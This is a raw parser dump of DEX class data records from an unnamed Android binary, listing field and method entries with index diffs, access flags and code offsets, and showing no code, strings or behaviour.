    000882f8 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000882f9
    000882f9 struct encoded_field
    000882f9 field_idx_diff int 0x9b38
    000882fa access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000882fb
    000882fb struct encoded_method
    000882fb method_idx_diff int 0x10d10
    000882fd access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    00088300 code_off uint32 0x476fc
    00088303
    00088303 struct encoded_method
    00088303 method_idx_diff int 0x10d18
    00088304 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088307 code_off uint32 0x47718
    0008830a
    0008830a struct encoded_method
    0008830a method_idx_diff int 0x10d20
    0008830b access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008830e code_off uint32 0x4776c
    00088311
    00088311 struct encoded_method
    00088311 method_idx_diff int 0x10d28
    00088312 access_flags uint32 0x00000008 ; ACC_STATIC
    00088313 code_off uint32 0x477d0
    00088316
    00088316 struct encoded_method
    00088316 method_idx_diff int 0x10d38
    00088317 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00088318 code_off uint32 0x47800
    0008831b
    0008831b struct encoded_method
    0008831b method_idx_diff int 0x10d48
    0008831c access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008831d code_off uint32 0x47874
    00088320
    00088320 struct encoded_method
    00088320 method_idx_diff int 0x10d50
    00088321 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088322 code_off uint32 0x4792c
    00088325
    00088325 struct encoded_method
    00088325 method_idx_diff int 0x10d60
    00088326 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088327 code_off uint32 0x47950
    0008832a
    0008832a struct encoded_method
    0008832a method_idx_diff int 0x10d70
    0008832b access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008832c code_off uint32 0x47b48
    0008832f
    0008832f struct encoded_method
    0008832f method_idx_diff int 0x10d80
    00088330 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088331 code_off uint32 0x47b88
    00088334
    00088334 struct encoded_method
    00088334 method_idx_diff int 0x10d40
    00088336 access_flags uint32 0x00000000
    00088337 code_off uint32 0x47d94
    0008833a
    0008833a struct encoded_method
    0008833a method_idx_diff int 0x10d58
    0008833b access_flags uint32 0x00000000
    0008833c code_off uint32 0x47dd0
    0008833f
    0008833f struct encoded_method
    0008833f method_idx_diff int 0x10d68
    00088340 access_flags uint32 0x00000000
    00088341 code_off uint32 0x47df8
    00088344
    00088344 struct encoded_method
    00088344 method_idx_diff int 0x10d78
    00088345 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088347 code_off uint32 0x47e10
    0008834a
    0008834a struct encoded_method
    0008834a method_idx_diff int 0x10d88
    0008834b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008834c code_off uint32 0x47e28
    0008834f
    0008834f struct encoded_method
    0008834f method_idx_diff int 0x10d90
    00088350 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088352 code_off uint32 0x47e50
    00088355
    00088355 struct encoded_method
    00088355 method_idx_diff int 0x10da0
    00088356 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088357 code_off uint32 0x47e68
    0008835a
    0008835a struct encoded_method
    0008835a method_idx_diff int 0x10da8
    0008835b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008835c code_off uint32 0x48040
    0008835f
    0008835f struct encoded_method
    0008835f method_idx_diff int 0x10db8
    00088360 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088361 code_off uint32 0x48078
    00088364
    00088364 struct encoded_method
    00088364 method_idx_diff int 0x10dc0
    00088365 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088367 code_off uint32 0x480b8
    0008836a
    0008836a struct encoded_method
    0008836a method_idx_diff int 0x10dc8
    0008836b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008836c code_off uint32 0x480d4
    0008836f
    0008836f struct encoded_method
    0008836f method_idx_diff int 0x10dd0
    00088370 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088372 code_off uint32 0x4811c
    00088375
    00088375 struct encoded_method
    00088375 method_idx_diff int 0x10dd8
    00088376 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088377 code_off uint32 0x48138
    0008837a
    0008837a struct encoded_method
    0008837a method_idx_diff int 0x10de0
    0008837b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008837c code_off uint32 0x48170
    0008837f
    0008837f struct encoded_method
    0008837f method_idx_diff int 0x10df0
    00088380 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088382 code_off uint32 0x481a8
    00088385
    00088385 struct encoded_method
    00088385 method_idx_diff int 0x10df8
    00088386 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088388 code_off uint32 0x481c4
    0008838b
    0008838b struct encoded_method
    0008838b method_idx_diff int 0x10e00
    0008838c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008838d code_off uint32 0x481e0
    00088390
    00088390 struct encoded_method
    00088390 method_idx_diff int 0x10e08
    00088391 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088393 code_off uint32 0x4820c
    00088396
    00088396 struct encoded_method
    00088396 method_idx_diff int 0x10e10
    00088397 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088399 code_off uint32 0x48228
    0008839c
    0008839c struct encoded_method
    0008839c method_idx_diff int 0x10e18
    0008839d access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    0008839f code_off uint32 0x48244
    000883a2
    000883a2 struct encoded_method
    000883a2 method_idx_diff int 0x10e20
    000883a3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883a4 code_off uint32 0x48260
    000883a7
    000883a7 struct encoded_method
    000883a7 method_idx_diff int 0x10e28
    000883a8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883a9 code_off uint32 0x48290
    000883ac
    000883ac struct encoded_method
    000883ac method_idx_diff int 0x10e30
    000883ad access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883ae code_off uint32 0x48310
    000883b1
    000883b1 struct encoded_method
    000883b1 method_idx_diff int 0x10e38
    000883b2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883b3 code_off uint32 0x4833c
    000883b6
    000883b6 struct encoded_method
    000883b6 method_idx_diff int 0x10e40
    000883b7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883b8 code_off uint32 0x4836c
    000883bb
    000883bb struct encoded_method
    000883bb method_idx_diff int 0x10e48
    000883bc access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883be code_off uint32 0x483d0
    000883c1
    000883c1 struct encoded_method
    000883c1 method_idx_diff int 0x10e50
    000883c2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883c3 code_off uint32 0x483e8
    000883c6
    000883c6 struct encoded_method
    000883c6 method_idx_diff int 0x10e58
    000883c7 access_flags uint32 0x00000004 ; ACC_PROTECTED
    000883c8 code_off uint32 0x4843c
    000883cb
    000883cb struct encoded_method
    000883cb method_idx_diff int 0x10e60
    000883cc access_flags uint32 0x00000004 ; ACC_PROTECTED
    000883cd code_off uint32 0x48460
    000883d0
    000883d0 struct encoded_method
    000883d0 method_idx_diff int 0x10e68
    000883d1 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883d2 code_off uint32 0x484c0
    000883d5
    000883d5 struct encoded_method
    000883d5 method_idx_diff int 0x10e70
    000883d6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883d7 code_off uint32 0x484ec
    000883da
    000883da struct encoded_method
    000883da method_idx_diff int 0x10e78
    000883db access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883dc code_off uint32 0x4853c
    000883df
    000883df struct encoded_method
    000883df method_idx_diff int 0x10e90
    000883e0 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883e2 code_off uint32 0x4856c
    000883e5
    000883e5 struct encoded_method
    000883e5 method_idx_diff int 0x10e98
    000883e6 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883e8 code_off uint32 0x48584
    000883eb
    000883eb struct encoded_method
    000883eb method_idx_diff int 0x10ea0
    000883ec access_flags uint32 0x00000001 ; ACC_PUBLIC
    000883ed code_off uint32 0x4859c
    000883f0
    000883f0 struct encoded_method
    000883f0 method_idx_diff int 0x10ea8
    000883f1 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883f3 code_off uint32 0x485cc
    000883f6
    000883f6 struct encoded_method
    000883f6 method_idx_diff int 0x10eb0
    000883f7 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883f9 code_off uint32 0x485e4
    000883fc
    000883fc struct encoded_method
    000883fc method_idx_diff int 0x10eb8
    000883fd access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    000883ff code_off uint32 0x485fc
    00088402
    00088402 struct encoded_method
    00088402 method_idx_diff int 0x10ec8
    00088403 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00088405 code_off uint32 0x48614
    00088408
    00088408 struct encoded_method
    00088408 method_idx_diff int 0x10ed0
    00088409 access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008840a code_off uint32 0x48630
    0008840d
    0008840d struct encoded_method
    0008840d method_idx_diff int 0x10ed8
    0008840e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008840f code_off uint32 0x48664
    00088412
    00088412 struct encoded_method
    00088412 method_idx_diff int 0x10ee0
    00088413 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088414 code_off uint32 0x486b4
    00088417
    00088417 struct encoded_method
    00088417 method_idx_diff int 0x10ee8
    00088418 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088419 code_off uint32 0x48704
    0008841c
    0008841c struct encoded_method
    0008841c method_idx_diff int 0x10ef0
    0008841d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008841e code_off uint32 0x48734
    00088421
    00088421 struct class_data_item
    00088421 static_fields_size int 2
    00088422 instance_fields_size int 0
    00088423 direct_methods_size int 4
    00088424 virtual_methods_size int 0
    00088425
    00088425 struct encoded_field
    00088425 field_idx_diff int 0x9e60
    00088427 access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    00088428
    00088428 struct encoded_field
    00088428 field_idx_diff int 0x9e68
    00088429 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    0008842a
    0008842a struct encoded_method
    0008842a method_idx_diff int 0x113c0
    0008842c access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    0008842f code_off uint32 0x4b3ec
    00088432
    00088432 struct encoded_method
    00088432 method_idx_diff int 0x113c8
    00088433 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088434 code_off uint32 0x4b40c
    00088437
    00088437 struct encoded_method
    00088437 method_idx_diff int 0x113d0
    00088438 access_flags uint32 0x00000019 ; ACC_PUBLIC|ACC_STATIC|ACC_FINAL
    00088439 code_off uint32 0x4b44c
    0008843c
    0008843c struct encoded_method
    0008843c method_idx_diff int 0x113d8
    0008843d access_flags uint32 0x00000019 ; ACC_PUBLIC|ACC_STATIC|ACC_FINAL
    0008843e code_off uint32 0x4b4dc
    00088441
    00088441 struct class_data_item
    00088441 static_fields_size int 0
    00088442 instance_fields_size int 0
    00088443 direct_methods_size int 0
    00088444 virtual_methods_size int 1
    00088445
    00088445 struct encoded_method
    00088445 method_idx_diff int 0x10f00
    00088447 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088449 code_off uint32 0x00000000
    0008844a
    0008844a struct class_data_item
    0008844a static_fields_size int 0
    0008844b instance_fields_size int 0
    0008844c direct_methods_size int 0
    0008844d virtual_methods_size int 2
    0008844e
    0008844e struct encoded_method
    0008844e method_idx_diff int 0x10f08
    00088450 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088452 code_off uint32 0x00000000
    00088453
    00088453 struct encoded_method
    00088453 method_idx_diff int 0x10f10
    00088454 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088456 code_off uint32 0x00000000
    00088457
    00088457 struct class_data_item
    00088457 static_fields_size int 0
    00088458 instance_fields_size int 0
    00088459 direct_methods_size int 1
    0008845a virtual_methods_size int 0
    0008845b
    0008845b struct encoded_method
    0008845b method_idx_diff int 0x10f18
    0008845d access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088460 code_off uint32 0x48760
    00088463
    00088463 struct class_data_item
    00088463 static_fields_size int 0
    00088464 instance_fields_size int 0
    00088465 direct_methods_size int 0
    00088466 virtual_methods_size int 6
    00088467
    00088467 struct encoded_method
    00088467 method_idx_diff int 0x11198
    00088469 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008846b code_off uint32 0x00000000
    0008846c
    0008846c struct encoded_method
    0008846c method_idx_diff int 0x111a0
    0008846d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008846f code_off uint32 0x00000000
    00088470
    00088470 struct encoded_method
    00088470 method_idx_diff int 0x111a8
    00088471 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088473 code_off uint32 0x00000000
    00088474
    00088474 struct encoded_method
    00088474 method_idx_diff int 0x111b0
    00088475 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088477 code_off uint32 0x00000000
    00088478
    00088478 struct encoded_method
    00088478 method_idx_diff int 0x111b8
    00088479 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008847b code_off uint32 0x00000000
    0008847c
    0008847c struct encoded_method
    0008847c method_idx_diff int 0x111c0
    0008847d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008847f code_off uint32 0x00000000
    00088480
    00088480 struct class_data_item
    00088480 static_fields_size int 1
    00088481 instance_fields_size int 6
    00088482 direct_methods_size int 1
    00088483 virtual_methods_size int 7
    00088484
    00088484 struct encoded_field
    00088484 field_idx_diff int 0x9b60
    00088486 access_flags uint32 0x00000019 ; ACC_PUBLIC|ACC_STATIC|ACC_FINAL
    00088487
    00088487 struct encoded_field
    00088487 field_idx_diff int 0x9b40
    00088489 access_flags uint32 0x00000010 ; ACC_FINAL
    0008848a
    0008848a struct encoded_field
    0008848a field_idx_diff int 0x9b48
    0008848b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008848c
    0008848c struct encoded_field
    0008848c field_idx_diff int 0x9b50
    0008848d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008848e
    0008848e struct encoded_field
    0008848e field_idx_diff int 0x9b58
    0008848f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088490
    00088490 struct encoded_field
    00088490 field_idx_diff int 0x9b68
    00088491 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088492
    00088492 struct encoded_field
    00088492 field_idx_diff int 0x9b70
    00088493 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088494
    00088494 struct encoded_method
    00088494 method_idx_diff int 0x10f20
    00088496 access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    00088499 code_off uint32 0x48778
    0008849c
    0008849c struct encoded_method
    0008849c method_idx_diff int 0x10f28
    0008849e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008849f code_off uint32 0x48798
    000884a2
    000884a2 struct encoded_method
    000884a2 method_idx_diff int 0x10f30
    000884a3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884a4 code_off uint32 0x487b0
    000884a7
    000884a7 struct encoded_method
    000884a7 method_idx_diff int 0x10f38
    000884a8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884a9 code_off uint32 0x487c8
    000884ac
    000884ac struct encoded_method
    000884ac method_idx_diff int 0x10f40
    000884ad access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884ae code_off uint32 0x487e0
    000884b1
    000884b1 struct encoded_method
    000884b1 method_idx_diff int 0x10f48
    000884b2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884b3 code_off uint32 0x487f8
    000884b6
    000884b6 struct encoded_method
    000884b6 method_idx_diff int 0x10f50
    000884b7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884b8 code_off uint32 0x48810
    000884bb
    000884bb struct encoded_method
    000884bb method_idx_diff int 0x10f58
    000884bc access_flags uint32 0x00001001 ; ACC_PUBLIC|ACC_SYNTHETIC
    000884be code_off uint32 0x48828
    000884c1
    000884c1 struct class_data_item
    000884c1 static_fields_size int 0
    000884c2 instance_fields_size int 3
    000884c3 direct_methods_size int 1
    000884c4 virtual_methods_size int 1
    000884c5
    000884c5 struct encoded_field
    000884c5 field_idx_diff int 0x9d30
    000884c7 access_flags uint32 0x00000000
    000884c8
    000884c8 struct encoded_field
    000884c8 field_idx_diff int 0x9d38
    000884c9 access_flags uint32 0x00000000
    000884ca
    000884ca struct encoded_field
    000884ca field_idx_diff int 0x9d40
    000884cb access_flags uint32 0x00000000
    000884cc
    000884cc struct encoded_method
    000884cc method_idx_diff int 0x110f8
    000884ce access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000884d1 code_off uint32 0x4948c
    000884d4
    000884d4 struct encoded_method
    000884d4 method_idx_diff int 0x11100
    000884d6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000884d7 code_off uint32 0x494ac
    000884da
    000884da struct class_data_item
    000884da static_fields_size int 0
    000884db instance_fields_size int 3
    000884dc direct_methods_size int 1
    000884dd virtual_methods_size int 0
    000884de
    000884de struct encoded_field
    000884de field_idx_diff int 0x9b78
    000884e0 access_flags uint32 0x00000000
    000884e1
    000884e1 struct encoded_field
    000884e1 field_idx_diff int 0x9b80
    000884e2 access_flags uint32 0x00000000
    000884e3
    000884e3 struct encoded_field
    000884e3 field_idx_diff int 0x9b88
    000884e4 access_flags uint32 0x00000000
    000884e5
    000884e5 struct encoded_method
    000884e5 method_idx_diff int 0x10f60
    000884e7 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000884ea code_off uint32 0x48844
    000884ed
    000884ed struct class_data_item
    000884ed static_fields_size int 0
    000884ee instance_fields_size int 1
    000884ef direct_methods_size int 1
    000884f0 virtual_methods_size int 0
    000884f1
    000884f1 struct encoded_field
    000884f1 field_idx_diff int 0x9ba8
    000884f3 access_flags uint32 0x00000000
    000884f4
    000884f4 struct encoded_method
    000884f4 method_idx_diff int 0x10f68
    000884f6 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000884f9 code_off uint32 0x4885c
    000884fc
    000884fc struct class_data_item
    000884fc static_fields_size int 0
    000884fd instance_fields_size int 33
    000884fe direct_methods_size int 3
    000884ff virtual_methods_size int 11
    00088500
    00088500 struct encoded_field
    00088500 field_idx_diff int 0x9bc8
    00088502 access_flags uint32 0x00000000
    00088503
    00088503 struct encoded_field
    00088503 field_idx_diff int 0x9bd0
    00088504 access_flags uint32 0x00000000
    00088505
    00088505 struct encoded_field
    00088505 field_idx_diff int 0x9bd8
    00088506 access_flags uint32 0x00000000
    00088507
    00088507 struct encoded_field
    00088507 field_idx_diff int 0x9be0
    00088508 access_flags uint32 0x00000000
    00088509
    00088509 struct encoded_field
    00088509 field_idx_diff int 0x9be8
    0008850a access_flags uint32 0x00000000
    0008850b
    0008850b struct encoded_field
    0008850b field_idx_diff int 0x9bf0
    0008850c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008850d
    0008850d struct encoded_field
    0008850d field_idx_diff int 0x9bf8
    0008850e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008850f
    0008850f struct encoded_field
    0008850f field_idx_diff int 0x9c00
    00088510 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088511
    00088511 struct encoded_field
    00088511 field_idx_diff int 0x9c08
    00088512 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088513
    00088513 struct encoded_field
    00088513 field_idx_diff int 0x9c10
    00088514 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088515
    00088515 struct encoded_field
    00088515 field_idx_diff int 0x9c18
    00088516 access_flags uint32 0x00000000
    00088517
    00088517 struct encoded_field
    00088517 field_idx_diff int 0x9c20
    00088518 access_flags uint32 0x00000000
    00088519
    00088519 struct encoded_field
    00088519 field_idx_diff int 0x9c28
    0008851a access_flags uint32 0x00000000
    0008851b
    0008851b struct encoded_field
    0008851b field_idx_diff int 0x9c30
    0008851c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008851d
    0008851d struct encoded_field
    0008851d field_idx_diff int 0x9c38
    0008851e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008851f
    0008851f struct encoded_field
    0008851f field_idx_diff int 0x9c40
    00088520 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088521
    00088521 struct encoded_field
    00088521 field_idx_diff int 0x9c48
    00088522 access_flags uint32 0x00000000
    00088523
    00088523 struct encoded_field
    00088523 field_idx_diff int 0x9c50
    00088524 access_flags uint32 0x00000000
    00088525
    00088525 struct encoded_field
    00088525 field_idx_diff int 0x9c58
    00088526 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088527
    00088527 struct encoded_field
    00088527 field_idx_diff int 0x9c60
    00088528 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088529
    00088529 struct encoded_field
    00088529 field_idx_diff int 0x9c68
    0008852a access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008852b
    0008852b struct encoded_field
    0008852b field_idx_diff int 0x9c70
    0008852c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008852d
    0008852d struct encoded_field
    0008852d field_idx_diff int 0x9c78
    0008852e access_flags uint32 0x00000000
    0008852f
    0008852f struct encoded_field
    0008852f field_idx_diff int 0x9c80
    00088530 access_flags uint32 0x00000000
    00088531
    00088531 struct encoded_field
    00088531 field_idx_diff int 0x9c88
    00088532 access_flags uint32 0x00000000
    00088533
    00088533 struct encoded_field
    00088533 field_idx_diff int 0x9c90
    00088534 access_flags uint32 0x00000000
    00088535
    00088535 struct encoded_field
    00088535 field_idx_diff int 0x9c98
    00088536 access_flags uint32 0x00000000
    00088537
    00088537 struct encoded_field
    00088537 field_idx_diff int 0x9ca0
    00088538 access_flags uint32 0x00000000
    00088539
    00088539 struct encoded_field
    00088539 field_idx_diff int 0x9ca8
    0008853a access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008853b
    0008853b struct encoded_field
    0008853b field_idx_diff int 0x9cb0
    0008853c access_flags uint32 0x00000000
    0008853d
    0008853d struct encoded_field
    0008853d field_idx_diff int 0x9cb8
    0008853e access_flags uint32 0x00000000
    0008853f
    0008853f struct encoded_field
    0008853f field_idx_diff int 0x9cc0
    00088540 access_flags uint32 0x00000000
    00088541
    00088541 struct encoded_field
    00088541 field_idx_diff int 0x9cc8
    00088542 access_flags uint32 0x00000000
    00088543
    00088543 struct encoded_method
    00088543 method_idx_diff int 0x10f70
    00088545 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088548 code_off uint32 0x48874
    0008854b
    0008854b struct encoded_method
    0008854b method_idx_diff int 0x10fa8
    0008854c access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008854d code_off uint32 0x488ec
    00088550
    00088550 struct encoded_method
    00088550 method_idx_diff int 0x10fd0
    00088551 access_flags uint32 0x0000000c ; ACC_PROTECTED|ACC_STATIC
    00088552 code_off uint32 0x48924
    00088555
    00088555 struct encoded_method
    00088555 method_idx_diff int 0x10f78
    00088557 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088558 code_off uint32 0x48958
    0008855b
    0008855b struct encoded_method
    0008855b method_idx_diff int 0x10f80
    0008855c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008855d code_off uint32 0x48980
    00088560
    00088560 struct encoded_method
    00088560 method_idx_diff int 0x10f88
    00088561 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088562 code_off uint32 0x4899c
    00088565
    00088565 struct encoded_method
    00088565 method_idx_diff int 0x10f90
    00088566 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088567 code_off uint32 0x489b4
    0008856a
    0008856a struct encoded_method
    0008856a method_idx_diff int 0x10f98
    0008856b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008856c code_off uint32 0x489cc
    0008856f
    0008856f struct encoded_method
    0008856f method_idx_diff int 0x10fa0
    00088570 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088571 code_off uint32 0x489ec
    00088574
    00088574 struct encoded_method
    00088574 method_idx_diff int 0x10fb0
    00088575 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088576 code_off uint32 0x48a08
    00088579
    00088579 struct encoded_method
    00088579 method_idx_diff int 0x10fb8
    0008857a access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008857b code_off uint32 0x48a20
    0008857e
    0008857e struct encoded_method
    0008857e method_idx_diff int 0x10fc0
    0008857f access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088580 code_off uint32 0x48a40
    00088583
    00088583 struct encoded_method
    00088583 method_idx_diff int 0x10fc8
    00088584 access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088585 code_off uint32 0x48a5c
    00088588
    00088588 struct encoded_method
    00088588 method_idx_diff int 0x10fd8
    00088589 access_flags uint32 0x00000004 ; ACC_PROTECTED
    0008858a code_off uint32 0x48a74
    0008858d
    0008858d struct class_data_item
    0008858d static_fields_size int 0
    0008858e instance_fields_size int 0
    0008858f direct_methods_size int 1
    00088590 virtual_methods_size int 1
    00088591
    00088591 struct encoded_method
    00088591 method_idx_diff int 0x10fe0
    00088593 access_flags uint32 0x00010004 ; ACC_PROTECTED|ACC_CONSTRUCTOR
    00088596 code_off uint32 0x48a8c
    00088599
    00088599 struct encoded_method
    00088599 method_idx_diff int 0x10fe8
    0008859b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008859c code_off uint32 0x48aa4
    0008859f
    0008859f struct class_data_item
    0008859f static_fields_size int 0
    000885a0 instance_fields_size int 1
    000885a1 direct_methods_size int 1
    000885a2 virtual_methods_size int 0
    000885a3
    000885a3 struct encoded_field
    000885a3 field_idx_diff int 0x9cd0
    000885a5 access_flags uint32 0x00000000
    000885a6
    000885a6 struct encoded_method
    000885a6 method_idx_diff int 0x10ff0
    000885a8 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000885ab code_off uint32 0x48ad0
    000885ae
    000885ae struct class_data_item
    000885ae static_fields_size int 0
    000885af instance_fields_size int 5
    000885b0 direct_methods_size int 2
    000885b1 virtual_methods_size int 5
    000885b2
    000885b2 struct encoded_field
    000885b2 field_idx_diff int 0x9cf0
    000885b4 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000885b5
    000885b5 struct encoded_field
    000885b5 field_idx_diff int 0x9cf8
    000885b6 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000885b7
    000885b7 struct encoded_field
    000885b7 field_idx_diff int 0x9d00
    000885b8 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000885b9
    000885b9 struct encoded_field
    000885b9 field_idx_diff int 0x9d08
    000885ba access_flags uint32 0x00000002 ; ACC_PRIVATE
    000885bb
    000885bb struct encoded_field
    000885bb field_idx_diff int 0x9d10
    000885bc access_flags uint32 0x00000002 ; ACC_PRIVATE
    000885bd
    000885bd struct encoded_method
    000885bd method_idx_diff int 0x11000
    000885bf access_flags uint32 0x00000008 ; ACC_STATIC
    000885c0 code_off uint32 0x48af8
    000885c3
    000885c3 struct encoded_method
    000885c3 method_idx_diff int 0x11028
    000885c4 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000885c5 code_off uint32 0x48b44
    000885c8
    000885c8 struct encoded_method
    000885c8 method_idx_diff int 0x10ff8
    000885ca access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885cb code_off uint32 0x48bc8
    000885ce
    000885ce struct encoded_method
    000885ce method_idx_diff int 0x11008
    000885cf access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885d0 code_off uint32 0x48be0
    000885d3
    000885d3 struct encoded_method
    000885d3 method_idx_diff int 0x11010
    000885d4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885d5 code_off uint32 0x48bf8
    000885d8
    000885d8 struct encoded_method
    000885d8 method_idx_diff int 0x11018
    000885d9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885da code_off uint32 0x48c10
    000885dd
    000885dd struct encoded_method
    000885dd method_idx_diff int 0x11020
    000885de access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885df code_off uint32 0x48c28
